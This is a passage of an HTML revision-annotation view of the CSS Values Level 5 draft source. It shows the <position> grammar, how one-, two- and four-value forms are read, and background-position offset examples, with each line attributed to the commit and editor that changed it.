href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l284" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l530" id="l530"> 530</a> </td> <td class="source"> [ start | center | end ]{2} </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l285" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l531" id="l531"> 531</a> </td> <td class="source"> ] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l286" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l532" id="l532"> 532</a> </td> <td class="source"> <dfn><<position-four>></dfn> = [ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l287" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l533" id="l533"> 533</a> </td> <td class="source"> [ [ left | right | x-start | x-end ] <<length-percentage>> ] && </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l288" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l534" id="l534"> 534</a> </td> <td class="source"> [ [ top | bottom | y-start | y-end ] <<length-percentage>> ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l289" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l535" id="l535"> 535</a> </td> <td class="source"> | </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l290" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l536" id="l536"> 536</a> </td> <td class="source"> [ [ block-start | block-end ] <<length-percentage>> ] && </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l291" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l537" id="l537"> 537</a> </td> <td class="source"> [ [ inline-start | inline-end ] <<length-percentage>> ] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l292" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l538" id="l538"> 538</a> </td> <td class="source"> | </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l293" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l539" id="l539"> 539</a> </td> <td class="source"> [ [ start | end ] <<length-percentage>> ]{2} </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l294" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l540" id="l540"> 540</a> </td> <td class="source"> ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l295" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l541" id="l541"> 541</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l296" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l542" id="l542"> 542</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l297" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l543" id="l543"> 543</a> </td> <td class="source"> If only one value is specified (<<position-one>>), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l298" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l544" id="l544"> 544</a> </td> <td class="source"> the second value is assumed to be ''center''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l299" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l545" id="l545"> 545</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l300" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l546" id="l546"> 546</a> </td> <td class="source"> If two values are given (<<position-two>>), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l301" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l547" id="l547"> 547</a> </td> <td class="source"> a <<length-percentage>> as the first value represents </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l302" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l548" id="l548"> 548</a> </td> <td class="source"> the horizontal position as the offset between </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l303" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l549" id="l549"> 549</a> </td> <td class="source"> the left edges of the [=alignment subject=] and [=alignment container=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l304" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l550" id="l550"> 550</a> </td> <td class="source"> and a <<length-percentage>> as the second value represents </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l305" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l551" id="l551"> 551</a> </td> <td class="source"> the vertical position as an offset between their top edges. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l306" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l552" id="l552"> 552</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l308" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l553" id="l553"> 553</a> </td> <td class="source"> If both keywords are one of ''<position>/start'' or ''<position>/end'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l308" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l554" id="l554"> 554</a> </td> <td class="source"> the first one represents the [=block axis=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l309" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l555" id="l555"> 555</a> </td> <td class="source"> and the second the [=inline axis=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l310" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l556" id="l556"> 556</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l311" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l557" id="l557"> 557</a> </td> <td class="source"> Note: A pair of axis-specific keywords can be reordered, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l312" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l558" id="l558"> 558</a> </td> <td class="source"> while a combination of keyword and length or percentage cannot. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l313" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l559" id="l559"> 559</a> </td> <td class="source"> So ''center left'' or ''inline-start block-end'' is valid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l314" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l560" id="l560"> 560</a> </td> <td class="source"> while ''50% left'' is not. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l315" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l561" id="l561"> 561</a> </td> <td class="source"> ''<position>/start'' and ''<position>/end'' aren't axis-specific, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l316" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l562" id="l562"> 562</a> </td> <td class="source"> so ''start end'' and ''end start'' represent two different positions. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l317" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l563" id="l563"> 563</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l318" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l564" id="l564"> 564</a> </td> <td class="source"> If four values are given (<<position-four>>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l319" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l565" id="l565"> 565</a> </td> <td class="source"> then each <<length-percentage>> represents an offset between </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l320" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l566" id="l566"> 566</a> </td> <td class="source"> the edges specified by the preceding keyword. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l321" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l567" id="l567"> 567</a> </td> <td class="source"> For example, ''background-position: bottom 10px right 20px'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l322" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l568" id="l568"> 568</a> </td> <td class="source"> represents a ''10px'' vertical offset up from the bottom edge </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l323" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l569" id="l569"> 569</a> </td> <td class="source"> and a ''20px'' horizontal offset leftward from the right edge. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l324" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l570" id="l570"> 570</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l325" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l571" id="l571"> 571</a> </td> <td class="source"> Positive values represent an offset <em>inward</em> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l326" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l572" id="l572"> 572</a> </td> <td class="source"> from the edge of the [=alignment container=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l327" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l573" id="l573"> 573</a> </td> <td class="source"> Negative values represent an offset <em>outward</em> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l328" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l574" id="l574"> 574</a> </td> <td class="source"> from the edge of the [=alignment container=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l329" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l575" id="l575"> 575</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l330" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l576" id="l576"> 576</a> </td> <td class="source"> <div class="example"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l331" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l577" id="l577"> 577</a> </td> <td class="source"> The following declarations give the stated (horizontal, vertical) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l332" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l578" id="l578"> 578</a> </td> <td class="source"> offsets from the top left corner: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l333" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l579" id="l579"> 579</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l334" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l580" id="l580"> 580</a> </td> <td class="source"> background-position: left 10px top 15px; /* 10px, 15px */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l335" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l581" id="l581"> 581</a> </td> <td class="source"> background-position: left top ; /* 0px, 0px */ </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l336" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l582" id="l582"> 582</a> </td> <td class="source"> background-position: 10px 15px; /* 10px, 15px */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l337" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l583" id="l583"> 583</a> </td> <td class="source"> background-position: left 15px; /* 0px, 15px */ </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l338" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l584" id="l584"> 584</a> </td> <td class="source"> background-position: 10px top ; /* 10px, 0px */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l339" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l585" id="l585"> 585</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l340" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l586" id="l586"> 586</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l341" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l587" id="l587"> 587</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l342" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l588" id="l588"> 588</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l343" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l589" id="l589"> 589</a> </td> <td class="source"> <<position>>s can also be relative to other corners than the top left. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l344" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l590" id="l590"> 590</a> </td> <td class="source"> For example, the following puts the background image </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l345" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l591" id="l591"> 591</a> </td> <td class="source"> 10px from the bottom and 3em from the right: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l346" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l592" id="l592"> 592</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l347" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l593" id="l593"> 593</a> </td> <td class="source"> <pre>background-position: right 3em bottom 10px</pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l348" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l594" id="l594"> 594</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l349" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l595" id="l595"> 595</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l350" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l596" id="l596"> 596</a> </td> <td class="source"> The [=computed value=] of a <<position>> is </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l351" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l597" id="l597"> 597</a> </td> <td class="source"> a pair of offsets (horizontal and vertical), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l352" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l598" id="l598"> 598</a> </td> <td class="source"> each given as a computed <<length-percentage>> value, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l353" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l599" id="l599"> 599</a> </td> <td class="source"> representing the distance between the left edges and top edges (respectively) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l354" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l600" id="l600"> 600</a> </td> <td class="source"> of the [=alignment subject=] and [=alignment container=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l355" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l601" id="l601"> 601</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l357" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l602" id="l602"> 602</a> </td> <td class="source"> <dl dfn-for="<position>" dfn-type=value> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l357" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l603" id="l603"> 603</a> </td> <td class="source"> <dt><dfn><<length-percentage>></dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l358" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l604" id="l604"> 604</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l359" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l605" id="l605"> 605</a> </td> <td class="source"> A <<length-percentage>> value specifies the size of the offset </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l360" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l606" id="l606"> 606</a> </td> <td class="source"> between the specified edges of the [=alignment subject=] and [=alignment container=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l361" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l607" id="l607"> 607</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l362" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l608" id="l608"> 608</a> </td> <td class="source"> For example, for ''background-position: 2cm 1cm'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l363" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l609" id="l609"> 609</a> </td> <td class="source"> the top left corner of the background image is placed </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l364" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l610" id="l610"> 610</a> </td> <td class="source"> 2cm to the right and 1cm below </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l365" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l611" id="l611"> 611</a> </td> <td class="source"> the top left corner of the [=background positioning area=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l366" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l612" id="l612"> 612</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l367" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l613" id="l613"> 613</a> </td> <td class="source"> A <<percentage>> for the horizontal offset is relative to </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l369" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l614" id="l614"> 614</a> </td> <td class="source"> (<var ignore>width of [=alignment container=]</var> - <var ignore>width of [=alignment subject=]</var>). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l369" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l615" id="l615"> 615</a> </td> <td class="source"> A <<percentage>> for the vertical offset is relative to </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l371" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l616" id="l616"> 616</a> </td> <td class="source"> (<var ignore>height of [=alignment container=]</var> - <var ignore>height of [=alignment subject=]</var>). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l371" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l617" id="l617"> 617</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l372" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l618" id="l618"> 618</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l373" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l619" id="l619"> 619</a> </td> <td class="source"> For example, with a value pair of ''0% 0%'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l374" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l620" id="l620"> 620</a> </td> <td class="source"> the upper left corner of the [=alignment subject=] is aligned with </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l375" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l621" 